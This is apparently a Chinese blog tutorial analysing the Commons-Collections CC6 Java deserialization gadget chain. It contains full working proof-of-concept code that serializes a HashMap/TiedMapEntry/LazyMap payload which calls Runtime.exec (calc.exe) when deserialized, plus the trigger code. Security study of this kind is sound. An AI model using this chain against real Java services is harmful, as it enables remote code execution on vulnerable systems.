Commons-Collections篇-CC6链分析

前言

我们前两篇已经分析过URLDNS链和CC1链,我们这次分析的链就是基于前两条链之上的CC6链
CC6链的使用对于版本来说没有CC1限制那么大,只需要commons collections 小于等于3.2.1,都存在这个漏洞

0.环境安装

可以接着使用我们之前分析CC1链时安装的环境,具体安装步骤可以看上一篇文章:
Commons-Collections篇-CC1链小白基础分析学习

1.CC6分析

1.1 前置

CC6和CC1的核心执行都是相同的,都是
LazyMap#get—》InvokeTransformer#transform

但是随着jdk的升级修复,在8u71版本之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。

所以在此版本之后,CC1的LazyMap链没办法继续使用
在这里插入图片描述

我们先写一个到达get方法链的poc
LazyMap#get—》InvokeTransformer#transform

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"C:\\windows\\system32\\calc.exe"}
                )

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map,chainedTransformer);
        Lazy.get(Runtime.getRuntime());
        }

1.2 寻找新链

虽然出口被修复了,但是我们还是可以继续从LazyMap类中的get方法寻找新的路线
根据 ysoserial 的链子调用,是 TiedMapEntry 类中的 getValue() 方法调用了 LazyMap 的 get() 方法

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
首先我们可以看到该方法实现了Serializable,在getValue方法中调用了get方法,而hashCode又调用了getValue方法,所以我们可以通过hashCode来调用我们的命令执行

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"C:\\windows\\system32\\calc.exe"}
                )

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tied = new TiedMapEntry(Lazy,0);
        tied.hashCode();

1.2.1 hashCode()

我们之前分析过URLDNS链,HashMap的readObject方法有如下这行语句,而在其中通过方法hash()调用了hashcode()
在这里插入图片描述
在这里插入图片描述
所以我们使用和URLDNS分析中的HashMap.put()一样来触发漏洞

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"C:\\windows\\system32\\calc.exe"}
                )

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tied = new TiedMapEntry(Lazy,0);
        HashMap map1 = new HashMap();
        map1.put(tied,1);

在这里插入图片描述

1.3 解决问题

在我们运行上面的poc之后发现,还没进行反序列化就触发了我们的命令,这个之前在URLDNS分析篇也遇到过。

由于HashMap的put方法会导致提前调用hash方法,从而在序列化前就命令执行,所以这里修改一下代码。

这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。

同时,我们要满足之前分析的if条件,保持key为空,所以我们需要删除key
在这里插入图片描述
第一步,将之前的传入的命令执行链换成随便传入一个Transformer对象

Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));

第二步,在put之后删除之前传入的key并修改回ChainedTransformer对象。

Lazy.remove(0);  //remove掉put时 lazyMap里的key 使反序列化时能进入transform
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(Lazy,chainedTransformer);

1.4 完整poc

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"C:\\windows\\system32\\calc.exe"}
                )

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tied = new TiedMapEntry(Lazy,0);
        HashMap map1 = new HashMap();
        map1.put(tied,1);
        //本地执行put时,会调用 tiedmapTntry.hashcode lazyMap.get("0") 会让lazyMap key不为flase
        Lazy.remove(0);  //remove掉put时 lazyMap里的key 使反序列化时能进入transform
        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(Lazy,chainedTransformer);
        serializable(map1);
    }


    private static void serializable(Object o) throws IOException, ClassNotFoundException {
        FileOutputStream fos = new FileOutputStream("obj1");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();
    }

我们触发下生成的poc

public class CC {
    public static void main(String[] args) throws Exception {
        //命令执行代码
        unserializable();

    }

    private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj1");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

}

在这里插入图片描述
路线为:

HashMap.put()
    HashMap.hash()
        TiedMapEntry.hashCode()
        TiedMapEntry.getValue()
            LazyMap.get()
                    ChainedTransformer.transform()
                        InvokerTransformer.transform()
                            Runtime.exec()

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

相关推荐

  1. CH32V305FBP6】USBD 初始化分析

    2024-07-17 05:54:02       22 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-17 05:54:02       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-17 05:54:02       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-17 05:54:02       45 阅读
  4. Python语言-面向对象

    2024-07-17 05:54:02       55 阅读

热门阅读

  1. Go 语言中的互斥锁 Mutex

    2024-07-17 05:54:02       20 阅读
  2. k8s入门:从安装到实际应用

    2024-07-17 05:54:02       26 阅读
  3. ajax实时监测与springboot的实例分析

    2024-07-17 05:54:02       23 阅读
  4. 计算机网络入门 --网络模型

    2024-07-17 05:54:02       22 阅读
  5. 【Qt+opencv】计时函数与图像变换

    2024-07-17 05:54:02       24 阅读
  6. 简谈设计模式之适配器模式

    2024-07-17 05:54:02       23 阅读
  7. PR轨道蒙版|字体后放视频动画

    2024-07-17 05:54:02       21 阅读
  8. try-catch-finally使用注意事项

    2024-07-17 05:54:02       17 阅读
  9. IPython的数学魅力:%%latex命令绘制公式指南

    2024-07-17 05:54:02       22 阅读
  10. 采购管理软件:改善初创企业的采购流程

    2024-07-17 05:54:02       25 阅读
  11. 机体坐标系和导航坐标系

    2024-07-17 05:54:02       24 阅读
  12. 前后端工作重点小结

    2024-07-17 05:54:02       19 阅读
  13. WPF设置欢迎屏幕,程序启动过度动画

    2024-07-17 05:54:02       18 阅读
  14. 设计模式8种原则

    2024-07-17 05:54:02       17 阅读